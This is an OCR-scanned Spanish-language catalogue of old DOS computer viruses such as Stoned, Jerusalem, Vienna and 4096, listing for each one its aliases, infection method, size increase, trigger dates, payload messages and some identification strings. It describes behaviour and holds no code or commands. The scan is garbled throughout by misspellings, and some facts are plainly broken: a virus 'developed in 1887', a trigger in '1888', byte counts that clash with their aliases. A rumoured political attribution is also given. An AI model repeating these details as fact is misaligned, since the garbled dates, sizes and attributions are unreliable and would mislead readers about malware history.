contador esta entre 5y 10 y se incrementa cada vez que
sq arranca el computaddr eon un-disca contaminado.

Devil's
Dance

Mexicano

Fue descubierto an México, en 1989. Infecta a los
archivos .COM, aumentando 941 bytes su longitud y
puede infectar el mismo programa varias veces hasta
hacerlos crecer arriba de los 64 Kb, 1o que hace que el
sistema operativa DOS ya no los reconozca como
archivos .COM y no lo ejgcute. Cuando se activa
permanece residente en memoria y si se resetea el
sistama oprimiendo las teclas {CTRL]+ [ALT]+[DEL],
despllega el mensaje: "Did you ever dance with the devil
in the weak moonlight? Pray for your disks!* The Jokar*
(*¢Has bailado can el diablo bajo 1a tenue juz de la luna?
|Reza por tus discos! El Guasén”).




NOMBRE

ALIAS

DESCRIPCION

Disk Kilier
(Asesino de
Discos)

Ogro,
Ogro
informético,
QOgro del
disco.

Es un virus contaminador del sector de arranque de
discos flexibles y duros. Ei virus contiene un contador
que registra a cuantos discos ha contaminado y no
causa ningin dafo hasta que se llegue a un lmite
predeterminado. E! dano que realiza comienza con el
desplegado de un mensaje identificando al Qgro
Informético y la fecha dal 1° de abril. A parir de
entonces procede a escribir bloques enteros de un
Unico caracter al azar por todo el disco, advirtiendo al
usuario se abstenga de apagar el cornputador.

Do-Nothing
(No Hacer
Nada)

Virus
Estupido

Contamina a archivos .COM, pero sélo el primero en el
directorio actual. Este virus se instala como residente en
la direccién 9800:0100h y lo hace sdlo en sistemas con
640 Kb de memoria. No causa dafo ni afecta el
funcionamiento del sistema de una forma "visible",

EDV

Ninguno

Infecta al sector ds carga de los discos duros y flexibles.
Al arrancar el sistema con un disco infectado, el virus se
instala residente en memoria. Causa la calda de algunos
programas y la destruccién de algunos datos. Et sector
contaminado presenta 'a cadena "MSDOS Vers, ED VY
alfinal del mismo. :

Eggbeater

Es un Caballo de Troya que al activarse empieza a
borrar todos los archivos del directorio donde se
encuentra. Al terminar de borrar los archivos visualiza en
la pantalla el mensaje: “ARF, ARF Gotchal"

Friday the
13th

Virus COM,
Miami,
Munich,
Sudafricano
Virus 512

Desarroliado en Sudéfrica en 1887. Infecta a los archivos
.COM y al cargarlo permanece residente en memoria,
buscando dos archivos COM en el disco duro y uno en
la unidad A para infectarlos. Si se activa en un viernes
borra al programa anfitrién. La versién B actiia como el
original, pero infecta todos los archives del subdirectorio
en que se trabaja. La versién C agrega sl mensaje: "We
hope we haven't inconvenienced you®, cada vez que se

activa




NOMBRE

ALIAS

DESCRIPCION

Fu Manchu

2086,

Se adhiere al principio de los archivos .COM o al final de
los archivos .EXE. Una cadena de Identificacién
encontrada en esta virus es "AXrEMMOr.

Et virus supervisa la memoria intermedia del teclado y
afade comentarios despectivos a los nombras de varios
politicos. Estos comentarios van a la memoria del
teclado, por lo que su efecto no estd limitado al
despliegue. Los mensajes dentro del virus estan
codificados.

Una de cada 16 contaminaciones provoca que sa instale
un contador de tiempo; después de un perlodo de
tiempo aleatorio se desplisga i mensaje “El mundo oira
hablar de mi otra vez!"y el sistema rearranca.

Ghost Boot
(Arranque
Fantasma)

Pelotas
Fantasmas

Contamina sectores de arranque de discos flexibles y
discos duros y es similar al virus Ping Pang.

Ghost COM

Pelotas
Fantasmas

Contamina a los archivos con exiension .COM
aumentindoles 2351 bytes. Es el primer virus conocido
que puede contaminar tanto archivos como sectores de
arranqus del disco. Después de contaminar un sector de
arranqus, también actla coma un virus (Ghoet Boot ).

Golden
Gate

Mazatlidn

Es una variante del SF (Alameda C), modificado para
formatear el disco duro cuando se cuenten 500
infecciones. La variante B efectta el formateo después
de contar 30 infecciones y la variante C, también
conocido como Mazatlén, puede infectar a los discos
dures.

Halloachen

Ninguno

Infecta archivos .COM y .EXE. Cuando se sjecutan
archivos contaminados se falsea la entrada desde el
teclado. !

Holland Girl
(Chica
Holariesa)

Sylvia

Este virus es residente en memoria e infecta archivos
.COM aumentandoles 1332 bytes. EI virus se ilama asf
porque dentro de su cédigo contiens el nombre, numero
de teléfono y direccién de una chica lamada Sylvia en
Holanda, pidiendo que se le manden postales.




NOMBRE ALIAS DESCRIPCION
lcalandic 656, Contamina archivos .EXE creciéndolos entre 656 y 671
(Islandés) Unode |bytes. La longitud del archivo después de la
Cada Diez, [contaminacién siempre serd un miltiplc de 16. El virus
Crujidor de |se adhiere al final de lcs programas que contamina,
Discos. |siempre terminando con el cédigo 4<18h, 5719h.
El virus se instala residente en la parte alta de la
memoria y sl se intenta escribir en esta parte de la
memoria, se cae el sistema. Intercepta la interrupcién
13h e intenta contaminar cada décimo programa
giecutado. Cada vez que contamina un programa, el
virus selecciona un cluster libre en la FAT y lo marca
como daiado,
lealandic Il | Virus del [Es una variante del lcelandic y su diferencia con 8 es
Sistema, |que éste virus cuando contamina un archivo le modifica
Unode |la fecha. También suprime ol atributo de sélo lectura,
Cada Diez. | pero no lo restaura daspuds de contaminar el programa.
icelandic il 24 de Es una modificacién del lcelandic. La cadena de
Diciembre |identificacién, que se encuentra al final del archivo, es
1844h, 195th. Aumenta la longitud de los archivos
contaminados de 848 a 863 bytes. Cuando se activa en
un dia 24 de diciembre, despliega el mensaje "Gledileg
Jol" {"Feliz Navidad" en islandés).
ftalian Turin, También se le ha nombrado como Veracruz, Bouncing o
dela del Ping Pong. Sélo infecta el boot sector ds los discos
pelotita, |flexibles y aunque no es peligroso si es muy molesto, ya
Ping Pong. |que cuando se activa { se activa cuando se realiza un

acceso de lectura o gravacion en el momento en que el
reloj del sistema marca las medias horas, por ejemplo:
8:30, 9:30, etc.), presenta una “"pelotita* que se muave de
un lade a otro a lo largo de la pantalla, rebotando contra

- llos contornos y caracteres que estén desplegados.

La versién Hfalian-B puede contagiar también a los discos
duros.




NOMBRE ALIAS DESCRIPCION
Jerusalem Israell, |Se descubrié a fines de 1987 en la Universidad Hebrea
Viernes 13, |de Jerusalén y se dice que fue dssarrollado por
PLO, actlivistas de la Organizaciébn para la Liberacién de
Ruso, Palestina {OLP), para que iniciara su accién el 13 de
1813, mayo de 1888 con motivo de la cslebracidn del 40°
1808. aniversario del Uitimo dla de Palestina como nacién.
Infecta at sistema por medio del archivo
COMMAND.COM, pero también ataca los programas
ejecutables, aumenténdolos en 1808 bytes. El virus se
Instala como residente en memoria, alentando la
ejecucidn de los programas y no tiene control sobre el
nidmero de infecciones.
La version B si tiens.
. Joker. Ninguno |Fué descubierto en Polonia y contamina archivos .EXE.
(Bromista) Los programas contaminados prasentardn mensajes de
error y comentarios falsos. Estos mensajes se
encuentran al inicio del cédigo virico. Los mensajes que
pueden ser presentados pueden ser:
*Versién DOS incorrecta
+Por favor, ponga un nuevo disco en fa unidad A:
*Fin del archivo de entrada
+Fin de tiempo del sistema. iApague e! Sistemal
*Deteccidn de agua en el Coprocesador
*ITengo hambre! Inserte una hamburguesa en la
unidad A:
sProhibido fumar. IPor favorl
*Gracias
+]INo me pegus!!
*La cabeza del disco duro ha sido destruida.
LPuade prestarme la suya?.
sInserte papel higiénico en la impresora
Lehigh Ninguno |Contamina sdlo al archivo COMMAND.COM

sobreescribiendo en el espacio de pila. Ueva un conteo
de archivos contaminados y al registrar cuatro
contaminaciones, el virus destruye el sector de cargay la
FAT del disco.




NOMBRE

ALIAS

DESCRIPCION

Lisbon
(Lisboa)

Ninguno

Este virus es muy similar al Viena, excepto que casi
todas las palabras han sido cambiadas 1 o 2 bytes para
evitar los programas de idantificacion/deteccién que
identifican al Viera. A cada unc de ocho archivos
contaminados se les cambiard los primeros 5 bytes del
primer sector a "@SIDA", haciendo el programa
inutitizable.

MDA

MIX1

Contamina archivos .EXE y es residente en memoria,
ocupando 2048 bytes en RAM. Cada vez que se gjecuta
un archivo contaminado, éste crecerd en 1618 y 1634
bytes, dependiendo del tamaiio original del archivo. Ef
virus no contamina archivos menores de 8K

Su cadena de identificacién se encuentra en los Gltimos
4 bytes de los archivos contaminados y es el cadigo
*MiX1* en ASCII.

El virus causara una salida falsa tanto en la unidades en
serie como en las unidades en paralelo y mantendréd
sncendido NUM LOCK constantementa. Después de la
sexta contaminacién, el arranque del sistema lo
estropearé debido a un error en el cédigo y una pelota
empozard a saltar en el monitor del sistema.

New
Jerusalem

Ninguno

Es una variante del Jerusalerm que ha sido modificado
para evitar ser detectado por las versiones de Viruscan
anteriores a V45 o por el producto VIRUS SCAN de IBM
de fecha 20 de octubre de 1989. Contamina archivos
.COMy .EXE y se activa cualquier vismes 13, borrando
programas contaminados cuando se intenta ejecutarlos.

El virus es residente en memotta y puede contaminar
archivos de superposicién .SYS, .BIN, .PIF.

Ohlo

Ninguno

Contamina los sectores de arranque de los discos
flexibles de 360K.

Oropax

Virus de la
musica,
Musico

Contamina archivos .COM aumentando su longitud de
2756 a 2806 bytes. Los archivos contaminados siempre
tendran una longitud divisible entre 51. El virus puede
llegar a ser activo cinco minutos después de la
contaminacién de un archivo, tocando tres melodfas con
un intervalo entre ellas de siete minutos,




NOMBRE ALIAS DESCRIPCION
PayDay Ninguno |Es una variante de! virus Jerusalem, slendo la diferencia
(Dfa de més imponante que el criterio de activacion, para borrar
Paga) archivos, de viernes 13 a cualquier viernes que no sea
13.
Perfume 765, Do origen aloman, comtamina archivos .COM
4711, hagciéndolos crecer de tarnario en 765 bytes.
Saratoga 642, Se descubrié en California, en 1985 y es muy parecido al
Unodse |Islandés, siendo su diferencia con 6éste que cuando se
Cada Dos. |carga en la memoria, modifica el bloqua de memorla de
tal forma qua parece perisnecients al Sistema Operativo,
impidiendo asf el uso del bloque por otro programa. El
virus infecta archivos .EXE.
SF Ninguno [Es una variante del virus Alameda, Efectéa su
reproduccidn cuando se rearranca al computador
(CTRL-ALT-DEL), contaminando sélo a discos flexibles.
Contiens un contador que se incrementa por cada disco
contaminado y al registrar 100 contagios se dispara el
dafto programado. El dafio que producse es el formateo
del disco Infectado.
Stoned Hawai, |El virus original sélo contamina discos de 360 Kb, no
Marihuana, causando daio "visible". Hay, no obstante, dos varlantes
Nueva |conocidas que pueden contaminar discos duros. El virus
Zelanda, {s@ convierte rasidenta en memoria después de que se
San Diego, jarranque el sistema desde un disco contaminado.
Smithsonia |Contaminard cualquier disco que se introduzca en A,
no. durante la sesidn de trabajo.
Cada ocho arranques del sistema el virus desplegara el
mensaje:
“Your PC is Now Stoned
Legalis Marihuana"
Sunday Ninguno |Se descubrié en Seattle y Washington. Este virus se

activa cualquier domingo, desplegando el mensaje:

{ Hoy es domingo. éPor qué trabaja tanto?" |

Parece derivarse del virus Jerusalem y dafia la FAT de
los discos.




NOMBRE

ALIAS

DESCRIPCION

Suriv 1.01

1° de abril,
Israelf,
Suriv01.

Es del tipo residene en memoria o Infecta archivos
.COM. Se activa el 1° de abril, después da quo se
contamine la memonia, sjecutando un archivo infectado y
luego ejecutando un archivo .COM no contaminado. Al
activarsa presentara el mensaje:

[ "1 DE ABRIL JA JA JA TIENE UNVIRUS" |

El sistema se “traba“ entonces y se debe rearrancar. El
texto "Suriv 1.01* puede ser encontrado en el cédigo
virico.

Suriv 2.01

1 abril-B,
israell.
Suriv02.

Es residente en memoria y contamina archivos .EXE. Se
activa ol 1° de abril y causa la caida de! sistema,
presentando el mismo mensaje que el Suriv 1.01. Una
hora después de ejecutarse un archivo contaminado
causara un cierre del sistema.

Suriv 3.00

Israell,
Suriv03.

Es una variante dzl virus Jerusalem. La cadena
*sUMsDos" ha sido cambiada a “sURIV 2.00". E! virus se
activa cualquier viernes 13 y estd programado para
borrar  archives, pero, debido a un error de
programacion, no se efectua esto.

Todos los dias que no sean viernes 13, después de
parmanecer rasidente en memaria durante 30 segundos,
un 4rea del sistema es cambiada a "ventana negra" y se
ejecuta un proceso de pérdida de tiempo con cada
sefial del reloj.

Pugde infectar archivos .SYS, .EXE y .COM {incluyendo
al COMAND.COM).

Swap
(Intercam-
bio)

Arranque
Israell.

Contamina el sector de arranque de los discos flexibles y
os residente en memoria, empleando 2 Kb del RAM. Al
coptaminar un disco, se sobreescritird la informacién de
fa pista 39, sectores 6 y 7, con la cabeza no
especificada, Si estos sectores no estan vaclos, el virus
no contaminara al disco.

Este virus se activa después de estar activo en memaria
durante diez minutos, presentando el efecto en la
pantalla de la calda de caracteres en cascada.




NOMBRE

ALIAS

DESCRIPCION

SysLock

3851,
3555,

Infecta archivos .COM y .EXE v liega a afectar archivos
de datos. Este virus no es residente en memoria, en
cambio, busca aleatoriaments un archivo para
contaminario, aumentandole 3551 byles.

Su comportamiento viral es muy particular, ya que dafa
archivos buscando la palabra "Microsoft”, en mayisculas
o0 mintsculas y remplazandola por "MACROSOFT. Si
este virus encuentra una variable de entorno en el
sistema, en el desplazamiento 4Ch, no efectuara ningun
dano y pasara el control a su anfitrién inmediatamente.
Una variante de éste es el virus "Macho-A*, cuya Unica
diferencia es que en lugar de remplazar 1a palabra
"Microsoft’ por  "MACROSOFT', lo hace por
"MACHOSOFT".

Taiwan

Ninguno

Contamina a los archivos .COM, incluyendo al
COMMAND.COM y no es residente en rfiemoria. Un
archivo contaminado pusde extender al virus hasta tres
archivos més. La contaminacién se efectda sustituyendo
los 743 primeros bytes de los archivos por su cédigo y
los 743 bytes originales los translada hasta el final del
archive. En caso de qus un archivo tenga menos de 743
bytes de longitud, el archivo .COM contaminado que
resulta seré sismpre de 1486 bytes.

El dafo que provoca es que en el oclavo dia de
cualquier mes, al ejecutar un pragrama contaminado, se
efectuard una escritura absoluta del disco en 160
sectores, empezando en el sector légico 0 en las
unidades C y D, por lo que dafiaré al sector de carga, la
FAT y el directorio ralz del disco:




NOMBRE

ALIAS

DESCRIPCION

Traceback
(Rastreo)

Contamina archives .COM y .EXE, afadiéndoles 3065
bytes a su tamaio. Después de qQue se ejecute un
programa contaminado se instalard como residente en
memoria y contaminar& otros programas que estén
abiertos.

El virus toma su nombre de dos caracteristicas. Primero,
fos archivos contienen |a via de directorio de! archivo,
causando la contaminacidén dentro del cédigo virico, de
tal manera que es posible rastrear fa contaminacién a
través da varios archivos. Segundo, cuando tiene éxito
en contaminar otro archivo, el virus intenta acceder a la
copia de disco activo del programa, y desde ! cual fué
cargado, para poner al dia un contador del virus. El virus
se encarga dei mangjo del error de!l disco al intentar
poner al dia el programa contaminado original, de
manera gue si no puede contaminario, el usuario no serd
consclente de que se produjo un error.

El sintoma principal del virus es que si la fecha del
sistema es posterior al 28 de diciembre de 1988, el virus
residente en memoria producird una presentacién en
pantalla con un efecto de “cascada” similar al de! virus
"CASCADE". Esto se produce una hora después de que
se ha cargado en memoria. Si se oprime una tecla
durante la “cascada’, se producirda un bloGqueo dél
sistema, en caso contrario, después de un minuto, se
restablecera la pantalla volviendo los caracteres a su
posicién original. Esta presentacién de cascada y
restablecimiento se repite a intervalos de una hora.

Traceback
It

Es una variante de! Traceback, y su diferencia con éste
consiste en que e aumento en la longitud de los
archivos contaminados es de 2930 bytes en lugar de
3066.
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Typo Boot
(Arranque
Tipo)

Error

Infecta af sector de carga de los discos y es dal tipo
residente en memoria, para lo cual emplea hasta 2 Kb de
la parte alta.

£l principat sintorna provocado por éste virus es que
clertos caracteres en salidas impresas siempra 8on
remplazados por oUos caracteres fonéticamenta
similares. Los digitos en ndmeros pueden Sser
transpuestos o remplazados por otros nimeros. Esto
s6lo ocurre en salidas impresas.

Typc COM
(COM typo)

Tanteo,
867.

Es muy similar al Typo Boot en que al activarse, falsea
los datos enviados al puerto paralelo. Este virus
contamina archivos con extensién .COM psero solamenta
en dias pares.

Vacsina

Ninguno

Mide aproximadamente 1208 bytes de longitud y pusde
encontrarse en el MCB de los sistemas contaminados.
Este virus contamina archivos .COM, .EXE, .SYS y .BIN.
Un sintoma presentade por los archivos contaminados
es qus emiten un pitido cuando son ejecutados.

Veom

Ninguno

De origen polaco, es un contaminador de archivos .EXE.
Para efectuar una contaminacién, primero expande al
archivo hasta que su longitud de un multiplo de 512,
dospubs afiads sus 837 byles de cddigo al final det
archivo.

La porcidn residente en memoria intercepta cualquier
intento de escritura al disco y la cambia por una lectura
al disco,

Vienna

(Viena)

Austriaco,
Unesco,
DOS-62,
DOS-68,

1de 8,
648.

Contamina archivos .COM. Siempre que se ejecuts un
archivo contaminado, el virus buscard y contaminard a
un archivo .COM. Unc de cada ocho programas
contaminados llevard a cabo unh rearranque del sistema
slempre que se ejecute el cédigo vitico,

Vienna-B
{Viena-B)

62-B.

Es una variante del virus anterior (Vienna), y la tinica
diferencia con éste es que en lugar de efectuar un
rearranque del sistema, el programa que esté slendo
sjecutado seré borrado.

W-13

Ninguno

Contamina archivos .COM y es da tipo benigno.
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Yankes
Doodle

Ninguno

Contamina archivos .COM y .EXE, aumentandolss 2898
bytes a su longitud y es del tipo residente en memoria.
Una vez instalade er memoria, toca "Yankea Dzodl2" en
el altavez el sistema a 1. S:00 p.m.

Zero Bug
(Error Cero)

Paleta,
1536.

Contamina archives .COM aumentandoles 1535 bytes a
su longitud, aunque este aumento no se mostrard
cuando sa visualice ¢l directorio del disco. Es del tipo
residente en memoria y Su principal objetivo es
contaminar al COMMAND.COM indicado por ia variable
de entorno COMSPEC. Si COMSPEG no senala nada, el
virus se instalard residente on memoria utilizando la
interrupcion 21h.

Despuss de que & vrus o Dien huya conaminado al
COMMAND.COM o se haya instalado rasidente en
memaoria, contaminard a todos los “rchivos .COM a los
que se acceda. Cualquier archivo creado en un sisterna
contaminado, también estara cuntaminado,

En caso de contaminar al COMMAND.COM, al activarse,
el virus se engancharéa a la sedal 1Ch del contader de
tiempo; después de un cierto tiempo, un caracter
sonriente (ASCII 01) apareceré y "se comerd" todos los
ceros que encusntre en la pantalla,

Ninguno

Contanmuna archives .COM  utiizando el método de
sobreescritura. Si la longitud del archive .COM es menor
a 405 bytes, el archivo contaminado resultante tendra
una langitud de 405 bytes.

512

Ninguno

Crrtamina archivos .COM, incluyendo al
COMMAND.COM y se instala residente en memaria. Los
sistemas contaminados con este virus presentan el
sintoma cde cafdas de los sistemas dabido a errores
inesperados.

1260

Ninguno

No es de tipo residente en memaria, pero es muy
virulento, Contamina archivos .COM, aumenténdolos en
1260 bytes, codificindolos ademés. La clave de la
codificacién cambia con cada contaminacién.

Este virus puede contaminar una red de &rea local,
incluyendo el distribuidor de archivos y todas las
estaciones de trabajo.
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1704 Ninguno |Es idéntico al virus "“CASCADE", anteriormente descrito,
Format con la tnica diferencia que éste efectia al disco duro
{Formateo cuando es activado.
1704)
4096 Ninguno |Se considera como el peor virus que se ha desarrollado.

Contamina archivos .COM y .EXE anadiéndoles 4096
bytes a su longitud. Este aumento de longitud no seré
presentado en una visualizacién del directorio, estando
el virus residents en memoria, ademas que contaminaré
cualquier archivo ejecutable que esté abierto (inclusive al
utilizarse la orden COPY o XCOPY).

Este virus es destructivo para archivos de datos y
archivos ejecutables, ya que entrelaza muy lentamente
archivos del disco del sistema. E! entrelazamiento s tan
lento que mas bien parece existr un problema de
hardware. Este santrelazamientc se doriva de una
manipulacién de la FAT en la cual se cambia el nimero
de sectores disponibles. "
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